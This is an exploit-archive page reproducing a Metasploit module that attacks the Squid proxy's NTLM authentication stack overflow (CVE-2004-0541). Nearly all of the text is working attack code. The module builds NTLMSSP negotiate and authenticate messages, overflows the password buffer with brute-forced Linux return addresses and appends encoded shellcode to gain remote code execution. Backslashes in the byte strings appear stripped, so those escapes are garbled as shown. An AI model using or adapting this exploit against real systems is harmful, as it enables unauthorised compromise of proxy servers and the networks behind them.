[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Squid 2.5.x, 3.x NTLM Buffer Overflow
# Published : 2004-06-08
# Author : skape
# Previous Title : CVS Remote Entry Line Root Heap Overflow Exploit
# Next Title : rlpr <= 2.04 msg() Remote Format String Exploit


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Squid NTLM Authenticate Overflow',
			'Description'    => %q{
				This is an exploit for Squid's NTLM authenticate overflow
				(libntlmssp.c). Due to improper bounds checking in
				ntlm_check_auth, it is possible to overflow the 'pass'
				variable on the stack with user controlled data of a user
				defined length.  Props to iDEFENSE for the advisory.
			},
			'Author'         => 'skape',
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-0541'],
					[ 'OSVDB', '6791'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
					[ 'BID', '10500'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 256,
					'MinNops'  => 16,
					'Prepend'  => "x31xc9xf7xe1x8dx58x0exb0x30x41xcdx80",
					'PrependEncoder' => "x83xecx7f",

				},
			'Targets'        => 
				[
					[ 'Linux Bruteforce', 
						{ 
							'Platform'   => 'linux', 
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
									'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
									'Step'  => 0
								}
						}, 
					],
				],
			'DisclosureDate' => 'Jun 8 2004',
			'DefaultTarget'  => 0))

		register_advanced_options(
			[
				# We must wait 15 seconds between each attempt so as to prevent
				# squid from exiting completely after 5 crashes.
				OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
			], self.class)
	end

	def brute_exploit(addresses)
		site = "http://" + rand_text_alpha(rand(128)) + ".com"

		print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
		connect

		trasnmit_negotiate(site)
		transmit_authenticate(site, addresses)

		handler
		disconnect
	end

	def trasnmit_negotiate(site)
		negotiate  = 
			"NTLMSSPx00"        + # NTLMSSP identifier
			"x01x00x00x00"   + # NTLMSSP_NEGOTIATE
			"x07x00xb2x07"   + # flags
			"x01x00x09x00"   + # workgroup len/max       (1)
			"x01x00x00x00"   + # workgroup offset        (1)
			"x01x00x03x00"   + # workstation len/max     (1)
			"x01x00x00x00"     # workstation offset      (1)

		print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
		req =
			"GET #{site} HTTP/1.1rn" +
			"Proxy-Connection: Keep-Alivern" +
			"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}rn" +
			"rn"
		sock.put(req)
		
	end

	def transmit_authenticate(site, addresses)
		overflow     = 
			rand_text_alphanumeric(0x20) + 
			[addresses['Ret']].pack('V') + 
			[addresses['Valid']].pack('V') + 
			"xffx00x00x00"
		shellcode    = payload.encoded
		pass_len     = [overflow.length + shellcode.length].pack('v')
		authenticate =
			"NTLMSSPx00"        + # NTLMSSP identifier
			"x03x00x00x00"   + # NTLMSSP_AUTHENTICATE
			pass_len + pass_len  + # lanman response len/max
			"x38x00x00x00"   + # lanman response offset  (56)
			"x01x00x01x00"   + # nt response len/max     (1)
			"x01x00x00x00"   + # nt response offset      (1)
			"x01x00x01x00"   + # domain name len/max     (1)
			"x01x00x00x00"   + # domain name offset      (1)
			"x01x00x01x00"   + # user name               (1)
			"x01x00x00x00"   + # user name offset        (1)
			"x00x00x00x00"   + # session key
			"x8bx00x00x00"   + # session key
			"x06x82x00x02"   + # flags
			overflow + shellcode

		print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
		req =
			"GET #{site} HTTP/1.1rn" +
			"Proxy-Connection: Keep-Alivern" +
			"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}rn" +
			"rn"
		sock.put(req)
	end

end